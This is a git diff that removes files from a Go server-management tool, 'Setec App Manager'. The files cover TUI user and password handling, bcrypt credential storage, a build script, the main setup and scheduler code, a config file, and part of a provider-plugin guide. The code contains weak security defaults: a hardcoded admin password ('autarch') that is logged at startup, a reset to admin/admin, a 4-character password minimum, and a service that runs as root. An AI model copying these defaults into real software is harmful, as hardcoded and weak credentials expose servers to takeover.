a.labels = []string{"New Password", "Confirm Password"}
|
|
||||||
a.inputs = make([]textinput.Model, 2)
|
|
||||||
|
|
||||||
for i := range a.inputs {
|
|
||||||
ti := textinput.New()
|
|
||||||
ti.CharLimit = 128
|
|
||||||
ti.Width = 40
|
|
||||||
ti.EchoMode = textinput.EchoPassword
|
|
||||||
if i == 0 {
|
|
||||||
ti.Focus()
|
|
||||||
}
|
|
||||||
a.inputs[i] = ti
|
|
||||||
}
|
|
||||||
|
|
||||||
a.focusIdx = 0
|
|
||||||
a.pushView(ViewUsersReset)
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) submitUserCreate() (App, tea.Cmd) {
|
|
||||||
username := a.inputs[0].Value()
|
|
||||||
password := a.inputs[1].Value()
|
|
||||||
confirm := a.inputs[2].Value()
|
|
||||||
|
|
||||||
if username == "" {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{Title: "Error", Lines: []string{"Username cannot be empty."}, IsError: true}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if len(password) < 4 {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{Title: "Error", Lines: []string{"Password must be at least 4 characters."}, IsError: true}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if password != confirm {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{Title: "Error", Lines: []string{"Passwords do not match."}, IsError: true}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
dir := findAutarchDir()
|
|
||||||
err := users.CreateUser(dir, username, password)
|
|
||||||
a.popView()
|
|
||||||
|
|
||||||
if err != nil {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "User Created",
|
|
||||||
Lines: []string{
|
|
||||||
"Username: " + username,
|
|
||||||
"Password: (set)",
|
|
||||||
"",
|
|
||||||
"Restart the web dashboard for changes to take effect.",
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) submitUserReset() (App, tea.Cmd) {
|
|
||||||
password := a.inputs[0].Value()
|
|
||||||
confirm := a.inputs[1].Value()
|
|
||||||
|
|
||||||
if len(password) < 4 {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{Title: "Error", Lines: []string{"Password must be at least 4 characters."}, IsError: true}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if password != confirm {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{Title: "Error", Lines: []string{"Passwords do not match."}, IsError: true}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
dir := findAutarchDir()
|
|
||||||
err := users.ResetPassword(dir, password)
|
|
||||||
a.popView()
|
|
||||||
|
|
||||||
if err != nil {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "Password Reset",
|
|
||||||
Lines: []string{"Password has been updated.", "", "Force change on next login: NO"},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) forcePasswordChange() (App, tea.Cmd) {
|
|
||||||
dir := findAutarchDir()
|
|
||||||
err := users.SetForceChange(dir, true)
|
|
||||||
if err != nil {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "Force Change Enabled",
|
|
||||||
Lines: []string{"User will be required to change password on next login."},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@ -1,114 +0,0 @@
|
|||||||
// Package users manages AUTARCH web dashboard credentials.
|
|
||||||
// Credentials are stored in data/web_credentials.json as bcrypt hashes.
|
|
||||||
package users
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
|
|
||||||
"golang.org/x/crypto/bcrypt"
|
|
||||||
)
|
|
||||||
|
|
||||||
// Credentials matches the Python web_credentials.json format.
|
|
||||||
type Credentials struct {
|
|
||||||
Username string `json:"username"`
|
|
||||||
Password string `json:"password"`
|
|
||||||
ForceChange bool `json:"force_change"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func credentialsPath(autarchDir string) string {
|
|
||||||
return filepath.Join(autarchDir, "data", "web_credentials.json")
|
|
||||||
}
|
|
||||||
|
|
||||||
// LoadCredentials reads the current credentials from disk.
|
|
||||||
func LoadCredentials(autarchDir string) (*Credentials, error) {
|
|
||||||
path := credentialsPath(autarchDir)
|
|
||||||
data, err := os.ReadFile(path)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("read credentials: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
var creds Credentials
|
|
||||||
if err := json.Unmarshal(data, &creds); err != nil {
|
|
||||||
return nil, fmt.Errorf("parse credentials: %w", err)
|
|
||||||
}
|
|
||||||
return &creds, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// SaveCredentials writes credentials to disk.
|
|
||||||
func SaveCredentials(autarchDir string, creds *Credentials) error {
|
|
||||||
path := credentialsPath(autarchDir)
|
|
||||||
|
|
||||||
// Ensure data directory exists
|
|
||||||
os.MkdirAll(filepath.Dir(path), 0755)
|
|
||||||
|
|
||||||
data, err := json.MarshalIndent(creds, "", " ")
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("marshal credentials: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := os.WriteFile(path, data, 0600); err != nil {
|
|
||||||
return fmt.Errorf("write credentials: %w", err)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// CreateUser creates a new user with bcrypt-hashed password.
|
|
||||||
func CreateUser(autarchDir, username, password string) error {
|
|
||||||
hash, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("hash password: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
creds := &Credentials{
|
|
||||||
Username: username,
|
|
||||||
Password: string(hash),
|
|
||||||
ForceChange: false,
|
|
||||||
}
|
|
||||||
return SaveCredentials(autarchDir, creds)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ResetPassword changes the password for the existing user.
|
|
||||||
func ResetPassword(autarchDir, newPassword string) error {
|
|
||||||
creds, err := LoadCredentials(autarchDir)
|
|
||||||
if err != nil {
|
|
||||||
// If no file exists, create with default username
|
|
||||||
creds = &Credentials{Username: "admin"}
|
|
||||||
}
|
|
||||||
|
|
||||||
hash, err := bcrypt.GenerateFromPassword([]byte(newPassword), bcrypt.DefaultCost)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("hash password: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
creds.Password = string(hash)
|
|
||||||
creds.ForceChange = false
|
|
||||||
return SaveCredentials(autarchDir, creds)
|
|
||||||
}
|
|
||||||
|
|
||||||
// SetForceChange sets the force_change flag.
|
|
||||||
func SetForceChange(autarchDir string, force bool) error {
|
|
||||||
creds, err := LoadCredentials(autarchDir)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
creds.ForceChange = force
|
|
||||||
return SaveCredentials(autarchDir, creds)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ResetToDefaults resets credentials to admin/admin with force change.
|
|
||||||
func ResetToDefaults(autarchDir string) error {
|
|
||||||
hash, err := bcrypt.GenerateFromPassword([]byte("admin"), bcrypt.DefaultCost)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("hash password: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
creds := &Credentials{
|
|
||||||
Username: "admin",
|
|
||||||
Password: string(hash),
|
|
||||||
ForceChange: true,
|
|
||||||
}
|
|
||||||
return SaveCredentials(autarchDir, creds)
|
|
||||||
}
|
|
||||||
@ -1,12 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
# Build Setec App Manager for Debian 13 (linux/amd64)
|
|
||||||
set -e
|
|
||||||
|
|
||||||
echo "Building Setec App Manager..."
|
|
||||||
GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o setec-manager ./cmd/
|
|
||||||
|
|
||||||
echo "Binary: setec-manager ($(du -h setec-manager | cut -f1))"
|
|
||||||
echo ""
|
|
||||||
echo "Deploy to VPS:"
|
|
||||||
echo " scp setec-manager root@<your-vps>:/opt/setec-manager/"
|
|
||||||
echo " ssh root@<your-vps> '/opt/setec-manager/setec-manager --setup'"
|
|
||||||
Binary file not shown.
@ -1,258 +0,0 @@
|
|||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"context"
|
|
||||||
"flag"
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
"os/signal"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
"syscall"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"setec-manager/internal/config"
|
|
||||||
"setec-manager/internal/db"
|
|
||||||
"setec-manager/internal/deploy"
|
|
||||||
"setec-manager/internal/nginx"
|
|
||||||
"setec-manager/internal/scheduler"
|
|
||||||
"setec-manager/internal/server"
|
|
||||||
)
|
|
||||||
|
|
||||||
const banner = `
|
|
||||||
███████╗███████╗████████╗███████╗ ██████╗
|
|
||||||
██╔════╝██╔════╝╚══██╔══╝██╔════╝██╔════╝
|
|
||||||
███████╗█████╗ ██║ █████╗ ██║
|
|
||||||
╚════██║██╔══╝ ██║ ██╔══╝ ██║
|
|
||||||
███████║███████╗ ██║ ███████╗╚██████╗
|
|
||||||
╚══════╝╚══════╝ ╚═╝ ╚══════╝ ╚═════╝
|
|
||||||
A P P M A N A G E R v1.0
|
|
||||||
darkHal Security Group & Setec Security Labs
|
|
||||||
`
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
configPath := flag.String("config", "/opt/setec-manager/config.yaml", "Path to config file")
|
|
||||||
setup := flag.Bool("setup", false, "Run first-time setup")
|
|
||||||
flag.Parse()
|
|
||||||
|
|
||||||
fmt.Print(banner)
|
|
||||||
|
|
||||||
// Load config
|
|
||||||
cfg, err := config.Load(*configPath)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("[setec] Failed to load config: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Open database
|
|
||||||
database, err := db.Open(cfg.Database.Path)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("[setec] Failed to open database: %v", err)
|
|
||||||
}
|
|
||||||
defer database.Close()
|
|
||||||
|
|
||||||
// First-time setup
|
|
||||||
if *setup {
|
|
||||||
runSetup(cfg, database, *configPath)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check if any admin users exist
|
|
||||||
count, _ := database.ManagerUserCount()
|
|
||||||
if count == 0 {
|
|
||||||
log.Println("[setec] No admin users found. Creating default admin account.")
|
|
||||||
log.Println("[setec] Username: admin")
|
|
||||||
log.Println("[setec] Password: autarch")
|
|
||||||
log.Println("[setec] ** CHANGE THIS IMMEDIATELY **")
|
|
||||||
database.CreateManagerUser("admin", "autarch", "admin")
|
|
||||||
}
|
|
||||||
|
|
||||||
// Load or create persistent JWT key
|
|
||||||
dataDir := filepath.Dir(cfg.Database.Path)
|
|
||||||
jwtKey, err := server.LoadOrCreateJWTKey(dataDir)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("[setec] Failed to load JWT key: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Create and start server
|
|
||||||
srv := server.New(cfg, database, jwtKey)
|
|
||||||
|
|
||||||
// Start scheduler
|
|
||||||
sched := scheduler.New(database)
|
|
||||||
sched.RegisterHandler(scheduler.JobSSLRenew, func(siteID *int64) error {
|
|
||||||
log.Println("[scheduler] Running SSL renewal")
|
|
||||||
_, err := exec.Command("certbot", "renew", "--non-interactive").CombinedOutput()
|
|
||||||
return err
|
|
||||||
})
|
|
||||||
sched.RegisterHandler(scheduler.JobCleanup, func(siteID *int64) error {
|
|
||||||
log.Println("[scheduler] Running cleanup")
|
|
||||||
return nil
|
|
||||||
})
|
|
||||||
sched.RegisterHandler(scheduler.JobBackup, func(siteID *int64) error {
|
|
||||||
if siteID == nil {
|
|
||||||
log.Println("[scheduler] Backup job requires a site ID, skipping")
|
|
||||||
return fmt.Errorf("backup job requires a site ID")
|
|
||||||
}
|
|
||||||
site, err := database.GetSite(*siteID)
|
|
||||||
if err != nil || site == nil {
|
|
||||||
return fmt.Errorf("backup: site %d not found", *siteID)
|
|
||||||
}
|
|
||||||
|
|
||||||
backupDir := cfg.Backups.Dir
|
|
||||||
os.MkdirAll(backupDir, 0755)
|
|
||||||
|
|
||||||
timestamp := time.Now().Format("20060102-150405")
|
|
||||||
filename := fmt.Sprintf("site-%s-%s.tar.gz", site.Domain, timestamp)
|
|
||||||
backupPath := filepath.Join(backupDir, filename)
|
|
||||||
|
|
||||||
cmd := exec.Command("tar", "-czf", backupPath, "-C", filepath.Dir(site.AppRoot), filepath.Base(site.AppRoot))
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("backup tar failed: %s: %w", string(out), err)
|
|
||||||
}
|
|
||||||
|
|
||||||
info, _ := os.Stat(backupPath)
|
|
||||||
size := int64(0)
|
|
||||||
if info != nil {
|
|
||||||
size = info.Size()
|
|
||||||
}
|
|
||||||
|
|
||||||
database.CreateBackup(siteID, "site", backupPath, size)
|
|
||||||
log.Printf("[scheduler] Backup complete for site %s: %s (%d bytes)", site.Domain, backupPath, size)
|
|
||||||
return nil
|
|
||||||
})
|
|
||||||
sched.RegisterHandler(scheduler.JobGitPull, func(siteID *int64) error {
|
|
||||||
if siteID == nil {
|
|
||||||
return fmt.Errorf("git_pull job requires a site ID")
|
|
||||||
}
|
|
||||||
site, err := database.GetSite(*siteID)
|
|
||||||
if err != nil || site == nil {
|
|
||||||
return fmt.Errorf("git_pull: site %d not found", *siteID)
|
|
||||||
}
|
|
||||||
if site.GitRepo == "" {
|
|
||||||
return fmt.Errorf("git_pull: site %s has no git repo configured", site.Domain)
|
|
||||||
}
|
|
||||||
|
|
||||||
output, err := deploy.Pull(site.AppRoot)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("git_pull %s: %w", site.Domain, err)
|
|
||||||
}
|
|
||||||
log.Printf("[scheduler] Git pull for site %s: %s", site.Domain, strings.TrimSpace(output))
|
|
||||||
return nil
|
|
||||||
})
|
|
||||||
sched.RegisterHandler(scheduler.JobRestart, func(siteID *int64) error {
|
|
||||||
if siteID == nil {
|
|
||||||
return fmt.Errorf("restart job requires a site ID")
|
|
||||||
}
|
|
||||||
site, err := database.GetSite(*siteID)
|
|
||||||
if err != nil || site == nil {
|
|
||||||
return fmt.Errorf("restart: site %d not found", *siteID)
|
|
||||||
}
|
|
||||||
|
|
||||||
unitName := fmt.Sprintf("app-%s", site.Domain)
|
|
||||||
if err := deploy.Restart(unitName); err != nil {
|
|
||||||
return fmt.Errorf("restart %s: %w", site.Domain, err)
|
|
||||||
}
|
|
||||||
log.Printf("[scheduler] Restarted service for site %s (unit: %s)", site.Domain, unitName)
|
|
||||||
return nil
|
|
||||||
})
|
|
||||||
sched.Start()
|
|
||||||
|
|
||||||
// Graceful shutdown
|
|
||||||
done := make(chan os.Signal, 1)
|
|
||||||
signal.Notify(done, os.Interrupt, syscall.SIGTERM)
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
if err := srv.Start(); err != nil {
|
|
||||||
log.Fatalf("[setec] Server error: %v", err)
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
|
|
||||||
log.Printf("[setec] Dashboard: https://%s:%d", cfg.Server.Host, cfg.Server.Port)
|
|
||||||
|
|
||||||
<-done
|
|
||||||
log.Println("[setec] Shutting down...")
|
|
||||||
sched.Stop()
|
|
||||||
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
|
||||||
defer cancel()
|
|
||||||
srv.Shutdown(ctx)
|
|
||||||
}
|
|
||||||
|
|
||||||
func runSetup(cfg *config.Config, database *db.DB, configPath string) {
|
|
||||||
log.Println("[setup] Starting first-time setup...")
|
|
||||||
|
|
||||||
// Ensure directories exist
|
|
||||||
dirs := []string{
|
|
||||||
"/opt/setec-manager/data",
|
|
||||||
"/opt/setec-manager/data/acme",
|
|
||||||
"/opt/setec-manager/data/backups",
|
|
||||||
cfg.Nginx.Webroot,
|
|
||||||
cfg.Nginx.CertbotWebroot,
|
|
||||||
cfg.Nginx.SitesAvailable,
|
|
||||||
cfg.Nginx.SitesEnabled,
|
|
||||||
}
|
|
||||||
for _, d := range dirs {
|
|
||||||
os.MkdirAll(d, 0755)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Install Nginx if needed
|
|
||||||
log.Println("[setup] Installing nginx...")
|
|
||||||
execQuiet("apt-get", "update", "-qq")
|
|
||||||
execQuiet("apt-get", "install", "-y", "nginx", "certbot", "ufw")
|
|
||||||
|
|
||||||
// Install nginx snippets
|
|
||||||
log.Println("[setup] Configuring nginx snippets...")
|
|
||||||
nginx.InstallSnippets(cfg)
|
|
||||||
|
|
||||||
// Create admin user
|
|
||||||
count, _ := database.ManagerUserCount()
|
|
||||||
if count == 0 {
|
|
||||||
log.Println("[setup] Creating default admin user (admin / autarch)")
|
|
||||||
database.CreateManagerUser("admin", "autarch", "admin")
|
|
||||||
}
|
|
||||||
|
|
||||||
// Save config
|
|
||||||
cfg.Save(configPath)
|
|
||||||
|
|
||||||
// Generate self-signed cert for manager if none exists
|
|
||||||
if _, err := os.Stat(cfg.Server.Cert); os.IsNotExist(err) {
|
|
||||||
log.Println("[setup] Generating self-signed TLS cert for manager...")
|
|
||||||
os.MkdirAll(cfg.ACME.AccountDir, 0755)
|
|
||||||
execQuiet("openssl", "req", "-x509", "-newkey", "rsa:2048",
|
|
||||||
"-keyout", cfg.Server.Key, "-out", cfg.Server.Cert,
|
|
||||||
"-days", "3650", "-nodes",
|
|
||||||
"-subj", "/CN=setec-manager/O=Setec Security Labs")
|
|
||||||
}
|
|
||||||
|
|
||||||
// Install systemd unit for setec-manager
|
|
||||||
unit := `[Unit]
|
|
||||||
Description=Setec App Manager
|
|
||||||
After=network.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
Type=simple
|
|
||||||
User=root
|
|
||||||
ExecStart=/opt/setec-manager/setec-manager --config /opt/setec-manager/config.yaml
|
|
||||||
Restart=on-failure
|
|
||||||
RestartSec=5
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
`
|
|
||||||
os.WriteFile("/etc/systemd/system/setec-manager.service", []byte(unit), 0644)
|
|
||||||
execQuiet("systemctl", "daemon-reload")
|
|
||||||
|
|
||||||
log.Println("[setup] Setup complete!")
|
|
||||||
log.Println("[setup] Start with: systemctl start setec-manager")
|
|
||||||
log.Printf("[setup] Dashboard will be at: https://<your-ip>:%d\n", cfg.Server.Port)
|
|
||||||
}
|
|
||||||
|
|
||||||
func execQuiet(name string, args ...string) {
|
|
||||||
log.Printf("[setup] $ %s %s", name, strings.Join(args, " "))
|
|
||||||
cmd := exec.Command(name, args...)
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
log.Printf("[setup] Warning: %v\n%s", err, string(out))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@ -1,44 +0,0 @@
|
|||||||
server:
|
|
||||||
host: "0.0.0.0"
|
|
||||||
port: 9090
|
|
||||||
tls: true
|
|
||||||
cert: "/opt/setec-manager/data/acme/manager.crt"
|
|
||||||
key: "/opt/setec-manager/data/acme/manager.key"
|
|
||||||
|
|
||||||
database:
|
|
||||||
path: "/opt/setec-manager/data/setec.db"
|
|
||||||
|
|
||||||
nginx:
|
|
||||||
sites_available: "/etc/nginx/sites-available"
|
|
||||||
sites_enabled: "/etc/nginx/sites-enabled"
|
|
||||||
snippets: "/etc/nginx/snippets"
|
|
||||||
webroot: "/var/www"
|
|
||||||
certbot_webroot: "/var/www/certbot"
|
|
||||||
|
|
||||||
acme:
|
|
||||||
email: ""
|
|
||||||
staging: false
|
|
||||||
account_dir: "/opt/setec-manager/data/acme"
|
|
||||||
|
|
||||||
autarch:
|
|
||||||
install_dir: "/var/www/autarch"
|
|
||||||
git_repo: "https://github.com/DigijEth/autarch.git"
|
|
||||||
git_branch: "main"
|
|
||||||
web_port: 8181
|
|
||||||
dns_port: 53
|
|
||||||
|
|
||||||
float:
|
|
||||||
enabled: false
|
|
||||||
max_sessions: 10
|
|
||||||
session_ttl: "24h"
|
|
||||||
|
|
||||||
backups:
|
|
||||||
dir: "/opt/setec-manager/data/backups"
|
|
||||||
max_age_days: 30
|
|
||||||
max_count: 50
|
|
||||||
|
|
||||||
logging:
|
|
||||||
level: "info"
|
|
||||||
file: "/var/log/setec-manager.log"
|
|
||||||
max_size_mb: 100
|
|
||||||
max_backups: 3
|
|
||||||
File diff suppressed because it is too large
Load Diff
@ -1,790 +0,0 @@
|
|||||||
# Custom Hosting Provider Guide
|
|
||||||
|
|
||||||
This guide walks you through creating a new hosting provider integration for Setec Manager. By the end, you will have a provider package that auto-registers with the system and can be used through the same unified API as the built-in Hostinger provider.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Prerequisites
|
|
||||||
|
|
||||||
- Go 1.25+ (matching the project's `go.mod`)
|
|
||||||
- Familiarity with the Go `interface` pattern and HTTP client programming
|
|
||||||
- An API key or credentials for the hosting provider you are integrating
|
|
||||||
- A checkout of the `setec-manager` repository
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Project Structure
|
|
||||||
|
|
||||||
Provider implementations live under `internal/hosting/<provider_name>/`. Each provider is its own Go package.
|
|
||||||
|
|
||||||
```
|
|
||||||
internal/hosting/
|
|
||||||
provider.go -- Provider interface + model types + registry
|
|
||||||
store.go -- ProviderConfig, ProviderConfigStore
|
|
||||||
config.go -- Legacy config store
|
|
||||||
hostinger/ -- Built-in Hostinger provider
|
|
||||||
client.go -- HTTP client, auth, retry logic
|
|
||||||
dns.go -- DNS record operations
|
|
||||||
myprovider/ -- Your new provider (create this)
|
|
||||||
provider.go -- init() registration + interface methods
|
|
||||||
client.go -- HTTP client for the provider's API
|
|
||||||
dns.go -- (optional) DNS-specific logic
|
|
||||||
domains.go -- (optional) Domain-specific logic
|
|
||||||
vms.go -- (optional) VPS-specific logic
|
|
||||||
```
|
|
||||||
|
|
||||||
You can organize files however you like within the package; the only requirement is that the package calls `hosting.Register(...)` in an `init()` function.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## The Provider Interface
|
|
||||||
|
|
||||||
The `Provider` interface is defined in `internal/hosting/provider.go`. Every provider must implement all methods. Methods that your provider does not support should return `ErrNotSupported`.
|
|
||||||
|
|
||||||
```go
|
|
||||||
type Provider interface {
|
|
||||||
// Identity
|
|
||||||
Name() string
|
|
||||||
DisplayName() string
|
|
||||||
|
|
||||||
// Configuration
|
|
||||||
Configure(config map[string]string) error
|
|
||||||
TestConnection() error
|
|
||||||
|
|
||||||
// DNS
|
|
||||||
ListDNSRecords(domain string) ([]DNSRecord, error)
|
|
||||||
CreateDNSRecord(domain string, record DNSRecord) error
|
|
||||||
UpdateDNSRecords(domain string, records []DNSRecord, overwrite bool) error
|
|
||||||
DeleteDNSRecord(domain string, recordName, recordType string) error
|
|
||||||
ResetDNSRecords(domain string) error
|
|
||||||
|
|
||||||
// Domains
|
|
||||||
ListDomains() ([]Domain, error)
|
|
||||||
GetDomain(domain string) (*Domain, error)
|
|
||||||
CheckDomainAvailability(domains []string) ([]DomainAvailability, error)
|
|
||||||
PurchaseDomain(req DomainPurchaseRequest) (*Domain, error)
|
|
||||||
SetNameservers(domain string, nameservers []string) error
|
|
||||||
EnableDomainLock(domain string) error
|
|
||||||
DisableDomainLock(domain string) error
|
|
||||||
EnablePrivacyProtection(domain string) error
|
|
||||||
DisablePrivacyProtection(domain string) error
|
|
||||||
|
|
||||||
// VMs / VPS
|
|
||||||
ListVMs() ([]VM, error)
|
|
||||||
GetVM(id string) (*VM, error)
|
|
||||||
CreateVM(req VMCreateRequest) (*VM, error)
|
|
||||||
ListDataCenters() ([]DataCenter, error)
|
|
||||||
ListSSHKeys() ([]SSHKey, error)
|
|
||||||
AddSSHKey(name, publicKey string) (*SSHKey, error)
|
|
||||||
DeleteSSHKey(id string) error
|
|
||||||
|
|
||||||
// Billing
|
|
||||||
ListSubscriptions() ([]Subscription, error)
|
|
||||||
GetCatalog() ([]CatalogItem, error)
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Method Reference
|
|
||||||
|
|
||||||
#### Identity Methods
|
|
||||||
|
|
||||||
| Method | Parameters | Returns | Description |
|
|
||||||
|---|---|---|---|
|
|
||||||
| `Name()` | - | `string` | Short machine-readable name (lowercase, no spaces). Used as the registry key and in API URLs. Example: `"hostinger"`, `"cloudflare"`. |
|
|
||||||
| `DisplayName()` | - | `string` | Human-readable name shown in the UI. Example: `"Hostinger"`, `"Cloudflare"`. |
|
|
||||||
|
|
||||||
#### Configuration Methods
|
|
||||||
|
|
||||||
| Method | Parameters | Returns | Description |
|
|
||||||
|---|---|---|---|
|
|
||||||
| `Configure(config)` | `map[string]string` -- key-value config pairs. Common keys: `"api_key"`, `"api_secret"`, `"base_url"`. | `error` | Called when a user saves credentials. Store them in struct fields. Validate format but do not make API calls. |
|
|
||||||
| `TestConnection()` | - | `error` | Make a lightweight API call (e.g., list domains) to verify credentials are valid. Return `nil` on success. |
|
|
||||||
|
|
||||||
#### DNS Methods
|
|
||||||
|
|
||||||
| Method | Parameters | Returns | Description |
|
|
||||||
|---|---|---|---|
|
|
||||||
| `ListDNSRecords(domain)` | `domain string` -- the FQDN | `([]DNSRecord, error)` | Return all DNS records for the zone. |
|
|
||||||
| `CreateDNSRecord(domain, record)` | `domain string`, `record DNSRecord` | `error` | Add a single record without affecting existing records. |
|
|
||||||
| `UpdateDNSRecords(domain, records, overwrite)` | `domain string`, `records []DNSRecord`, `overwrite bool` | `error` | Batch update. If `overwrite` is true, replace all records; otherwise merge. |
|
|
||||||
| `DeleteDNSRecord(domain, recordName, recordType)` | `domain string`, `recordName string` (subdomain or `@`), `recordType string` (e.g. `"A"`) | `error` | Delete matching records. |
|
|
||||||
| `ResetDNSRecords(domain)` | `domain string` | `error` | Reset the zone to provider defaults. |
|
|
||||||
|
|
||||||
#### Domain Methods
|
|
||||||
|
|
||||||
| Method | Parameters | Returns | Description |
|
|
||||||
|---|---|---|---|
|
|
||||||
| `ListDomains()` | - | `([]Domain, error)` | Return all domains on the account. |
|
|
||||||
| `GetDomain(domain)` | `domain string` | `(*Domain, error)` | Return details for a single domain. |
|
|
||||||
| `CheckDomainAvailability(domains)` | `domains []string` | `([]DomainAvailability, error)` | Check if domains are available for registration and return pricing. |
|
|
||||||
| `PurchaseDomain(req)` | `req DomainPurchaseRequest` | `(*Domain, error)` | Register a new domain. |
|
|
||||||
| `SetNameservers(domain, nameservers)` | `domain string`, `nameservers []string` | `error` | Update the authoritative nameservers. |
|
|
||||||
| `EnableDomainLock(domain)` | `domain string` | `error` | Enable registrar lock (transfer protection). |
|
|
||||||
| `DisableDomainLock(domain)` | `domain string` | `error` | Disable registrar lock. |
|
|
||||||
| `EnablePrivacyProtection(domain)` | `domain string` | `error` | Enable WHOIS privacy. |
|
|
||||||
| `DisablePrivacyProtection(domain)` | `domain string` | `error` | Disable WHOIS privacy. |
|
|
||||||
|
|
||||||
#### VM / VPS Methods
|
|
||||||
|
|
||||||
| Method | Parameters | Returns | Description |
|
|
||||||
|---|---|---|---|
|
|
||||||
| `ListVMs()` | - | `([]VM, error)` | Return all VPS instances on the account. |
|
|
||||||
| `GetVM(id)` | `id string` | `(*VM, error)` | Return details for a single VM. |
|
|
||||||
| `CreateVM(req)` | `req VMCreateRequest` | `(*VM, error)` | Provision a new VPS instance. |
|
|
||||||
| `ListDataCenters()` | - | `([]DataCenter, error)` | Return available regions/data centers. |
|
|
||||||
| `ListSSHKeys()` | - | `([]SSHKey, error)` | Return all stored SSH public keys. |
|
|
||||||
| `AddSSHKey(name, publicKey)` | `name string`, `publicKey string` | `(*SSHKey, error)` | Upload a new SSH public key. |
|
|
||||||
| `DeleteSSHKey(id)` | `id string` | `error` | Remove an SSH key. |
|
|
||||||
|
|
||||||
#### Billing Methods
|
|
||||||
|
|
||||||
| Method | Parameters | Returns | Description |
|
|
||||||
|---|---|---|---|
|
|
||||||
| `ListSubscriptions()` | - | `([]Subscription, error)` | Return all active subscriptions. |
|
|
||||||
| `GetCatalog()` | - | `([]CatalogItem, error)` | Return purchasable products and plans. |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Type Reference
|
|
||||||
|
|
||||||
All model types are defined in `internal/hosting/provider.go`.
|
|
||||||
|
|
||||||
### DNSRecord
|
|
||||||
|
|
||||||
| Field | Type | JSON | Description |
|
|
||||||
|---|---|---|---|
|
|
||||||
